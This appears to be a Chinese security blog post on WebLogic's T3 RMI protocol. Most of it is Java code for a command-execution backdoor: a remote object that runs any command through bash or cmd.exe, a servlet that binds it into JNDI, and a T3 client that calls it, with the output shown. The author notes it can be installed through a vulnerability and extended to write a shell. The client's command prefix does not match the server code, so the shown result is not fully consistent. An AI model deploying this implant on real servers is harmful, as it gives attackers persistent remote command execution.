t3协议研究
纵观weblogic的各大严重漏洞,一半以上皆与t3协议有关。作为java安全的初学者,不免好奇什么是t3协议,t3协议能干啥?这周我们来揭开t3协议的神秘面纱,其实目前网上针对t3协议的资料是寥寥无几的,我在阅读了oracle官方晦涩难懂的文档中,已经前辈exp反编译过来的代码中,依稀能摸清t3协议的基本样貌。
一、一些疑问
1.1 什么是t3协议?
Weblogic对RMI规范的实现使用一个称为T3的专有协议。您可以将T3(和安全的T3S)视为一个层来公开/允许客户机调用JNDI。
1.2 t3协议能干啥?
WebLogic服务器中的RMI通信使用T3协议在WebLogic Server和其他Java程序(包括客户端和其他WebLogic服务器实例)之间传输数据。
例如,如果Java客户端访问WebLogic Server上的企业Bean和JDBC连接池,则在WebLogic Server JVM和客户端JVM之间建立单个网络连接。EJB和JDBC服务可以像只使用专用网络连接一样写入,因为T3协议无形地在单个连接上复用数据包。
当然我们更关心它在信息安全方面能干什么,下面我们会通过代码来展示代码如何如何利用t3协议让服务器执行命令并回显!更多的使用可以参考jndiat这个安全项目的代码,看看t3协议的相关安全!
1.3 t3的端口
t3协议与weblogic的web服务使用同一个端口(默认7001),当你以http协议请求weblogic会使用http协议处理,你以t3协议请求就以t3协议处理!
二、案例:使用t3协议执行命令回显
2.1 服务端
服务端依赖weblogic.jar(weblogic.cluster.singleton.ClusterMasterRemote)
首先编写一个用于执行命令的类
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
import weblogic.cluster.singleton.ClusterMasterRemote;
public class RemoteImpl implements ClusterMasterRemote {
public void setServerLocation(String cmd, String args) throws RemoteException {
}
public String getServerLocation(String cmd) throws RemoteException {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
List<String> cmds = new ArrayList();
if (cmd.startsWith("$NO$")) {
cmds.add(cmd.substring(4));
} else if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
BufferedReader br = new BufferedReader(new InputStreamReader(processBuilder.start().getInputStream()));
StringBuffer sb = new StringBuffer();
while (true) {
String line = br.readLine();
if (line == null) {
return sb.toString();
}
sb.append(line).append("\n");
}
} catch (Exception e) {
return e.getMessage();
}
}
}
然后在编写一个servlet执行绑定RemoteImpl类,以后可以利用漏洞执行代码来完成这些操作。
import java.io.IOException;
import java.io.PrintWriter;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.annotation.WebServlet;
@WebServlet("/t3servlet")
public class T3Servlet extends javax.servlet.http.HttpServlet {
protected void doPost(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException {
doGet(request, response);
}
protected void doGet(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException {
String action = request.getParameter("action");
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try {
RemoteImpl remote = new RemoteImpl();
Context ctx = new InitialContext();
if(action.equals("install")){
ctx.rebind("supeream", remote);
out.println("安装成功");
}else if(action.equalsIgnoreCase("uninstall")){
ctx.unbind("supeream");
out.println("卸载成功");
}
} catch (NamingException e) {
e.printStackTrace();
out.println("操作出现异常");
}
}
}
2.2 客户端
客户端依赖wlfullclient.jar(weblogic.cluster.singleton.ClusterMasterRemote)
import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class T3Client {
public static void main(String[] args) {
String url = "t3://127.0.0.1:7001";
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
env.put(Context.PROVIDER_URL, url);
Context ctx = null;
try {
ctx = new InitialContext(env);
System.out.println("[+] 连接成功");
}catch (Exception e){
System.out.println("[-] 连接失败");
System.exit(0);
}
String cmd = "whoami";
try {
ClusterMasterRemote remoteCode = (ClusterMasterRemote) ctx.lookup("supeream");
System.out.println("[+] rmi已经安装");
String result = remoteCode.getServerLocation("showmecode"+cmd);
System.out.println(result);
} catch (Exception e) {
if (e.getMessage() !=null && e.getMessage().contains("supeream")) {
System.out.println("[-] rmi实例不存在");
} else {
e.printStackTrace();
System.exit(0);
}
}
}
}
2.3 测试结果
运行服务端,然后浏览器访问改http://localhost:7001/t3servlet?action=install,最后运行服务端
[+] 连接成功
[+] rmi已经安装
c0ny1
再访问http://localhost:7001/t3servlet?action=uninstall
[+] 连接成功
[-] rmi实例不存在
既然可以执行命令,自然可以在服务端的类写一个函数实现写shell。
三、参考文章
- What is t3 protocol in weblogic server?
- Developing T3 Clients
- 3 Developing a WebLogic Thin T3 Client
- Using WebLogic RMI with T3 Protocol
- https://github.com/quentinhardy/jndiat
后续拓展
- 研究t3获取jdbc池对象
- 有t3连接jdbc池的例子在IDEA上用Weblogic运行Web程序的小记
阅读jndiat源码,了解该工具是如何检查t3协议的安全性?
jboss使用的是jnp协议应该相当于weblogic的t3协议都是用来进行进行rmi通信的
- 使用t3协议识别weblogic版本【已完成】